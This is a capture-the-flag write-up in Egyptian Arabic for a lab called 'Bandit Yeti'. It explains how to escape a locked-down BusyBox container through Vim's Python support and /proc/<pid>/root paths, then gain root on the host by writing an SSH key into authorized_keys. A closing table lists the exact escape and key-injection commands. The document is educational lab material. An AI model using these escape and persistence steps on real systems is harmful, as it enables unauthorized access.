الجزء الثالث من قصة Bandit Yeti — الهدف: جهاز Frosteau نفسه، اللي عنده كل الملفات الحساسة. بعد ما فريق McSkidy راجعوا التحصينات، الجهاز بقى مقيّد جدًا: مفيش أي أدوات نظام، بس محرّرين نصوص (Vim وNano) شغالين جوه بيئة BusyBox فاضية.
اللاب ده مختلف تمامًا عن باقي اللابات — مفيش ثغرة CVE ولا استغلال تقليدي. المهارة المطلوبة هنا هي التفكير المنطقي: إزاي تكسر قيود بيئة من غير أي أدوات، ومن غير ما ترفع ولا binary واحد.
من أصعب 4 أجزاء متصلة تحكي قصة اختراق Best Festival Company كاملة
nmap بيطلّع 6 منافذ: SSH(22)، ويب (80، بيرفض كل الطلبات — فخ)، تيلنت (8065، بيقفل بسرعة — فخ تاني)، FTP (8075، BusyBox ftpd)، وتيلنت 8085 و8095 بيوديك مباشرة جوه Vim وNano على التوالي.
nmap -sSVC -p- IP8085 → vim · 8095 → nanoFTP بيسمح بدخول Anonymous. جوه اللستة: flag-1-of-4.txt (Flag 1 مباشرة)، flag-2-of-4.sh (بيحتوي بس على echo $FLAG2 — تلميح إن الفلاج الثاني متغيّر بيئة مش ملف)، وملفين معلومات عن “Frostling Five” و”Bandit Yeti” مفيدين للقصة.
مش محتاجين shell خالص للفلاج ده — أمر :echo $FLAG2 جوه Vim بيقرا متغيرات البيئة مباشرة ويطلّع القيمة.
حيل GTFOBins المعروفة (:!/bin/sh، :set shell=/bin/sh|:shell، حيل Nano بـ Ctrl+R Ctrl+X) كلها بترجع خطأ “command not found” — لأن /bin و/usr/bin فاضيين تمامًا، والمتغير $SHELL بيشاور على /tmp/sh ملف فاضي هو الآخر.
:version بيوريك إن Vim مبني بدعم Python 3 (:py3). أوامر زي os.popen أو Reverse Shell عادية مش هتفيد لأنها كلها بتحتاج shell شغّال. حتى محاولة حفظ ناتج os.system في ملف بتفشل غريب على الجهاز ده تحديدًا.
بدل ما نرفع binary، بنستغل إن /proc/<pid>/root/ هو Symlink لجذر الفايل سيستم اللي شايفه كل Process. بحلقة Python بسيطة بنفحص كل PID من 1 لـ 9999 ونبحث عن أول واحد عنده /usr/bin/bash حقيقي (يعني process شغّال برة قيد BusyBox).
بمجرد ما نلاقي PID عنده bash حقيقي (مثلاً 1018)، بنوجّه إعداد الـ shell بتاع Vim نفسه ليه: :set shell=/proc/1018/root/usr/bin/bash. أمر :shell بعد كده بيفتح Bash تفاعلي حقيقي كمستخدم ubuntu — بدون ما نرفع ولا ملف واحد.
المستخدم عنده NOPASSWD: ALL — لكن أمر sudo نفسه بيرفض يشتغل (مكتبة libsudo_util.so.0 ناقصة). الحل: نولّد SSH key محليًا، ونكتب المفتاح العام مباشرة في /proc/1018/root/home/ubuntu/.ssh/authorized_keys (نفس حيلة الـ /proc)، وندخل بـ SSH عادي — وده بيوديك مباشرة على الهوست الحقيقي، متخطّي الـ Docker container كله.
على الهوست الحقيقي، sudo بيشتغل عادي، فـsudo ls /root بيطلّع Flag 4 ومفتاح yetikey3.txt مباشرة. بما إننا قفزنا للهوست على طول ومن غير ما نمر رسميًا بخطوة الـ Docker، الـ Flag 3 لسه في الـ container — نجيبه بـ sudo find /var/lib/docker/overlay2/ -name flag-3-of-4.txt أو docker cp مباشرة.
| الأمر | الوصف | المرحلة |
|---|---|---|
| ftp IP 8075 (anonymous) | الدخول للـ FTP وسحب الملفات + Flag 1 | Recon |
| :echo $FLAG2 | قراءة متغير بيئة مباشرة جوه Vim | Flag 2 |
| :version | معرفة مميزات الـ Vim المبني بيها (زي +python3) | Recon |
| :py3 import os; [print(i) for i in range(1,9999) if os.path.exists(f”/proc/{i}/root/usr/bin/bash”)] | البحث عن process فيه bash حقيقي خارج BusyBox | Escape |
| :set shell=/proc/PID/root/usr/bin/bash | توجيه shell بتاع Vim لبيئة العملية اللي لقيناها | Escape |
| :shell | فتح shell تفاعلي حقيقي من غير رفع أي حاجة | Escape |
| export PATH=/proc/PID/root/usr/bin:$PATH | الوصول لأدوات coreutils الحقيقية جوه الـ shell | PATH Fix |
| printf %s “ssh-ed25519 …” > /proc/PID/root/home/ubuntu/.ssh/authorized_keys | حقن مفتاح SSH بتاعنا لتخطي sudo المكسور | Auth Bypass |
| sudo find /var/lib/docker/overlay2/ -name flag-3-of-4.txt | استرجاع الفلاج المتروك جوه الـ Docker overlay | Flag 3 |
| sudo ls -lhA /root | قراءة Flag 4 وyetikey3.txt على الهوست الحقيقي | Flag 4 |
flag-1-of-4.txt من الملفات المتاحة للجميع
:echo $FLAG2 من غير أي شل خالص
الفلاج المتروك جوه الحاوية اللي قفزنا فوقها
Root على الهوست الحقيقي عبر SSH key injection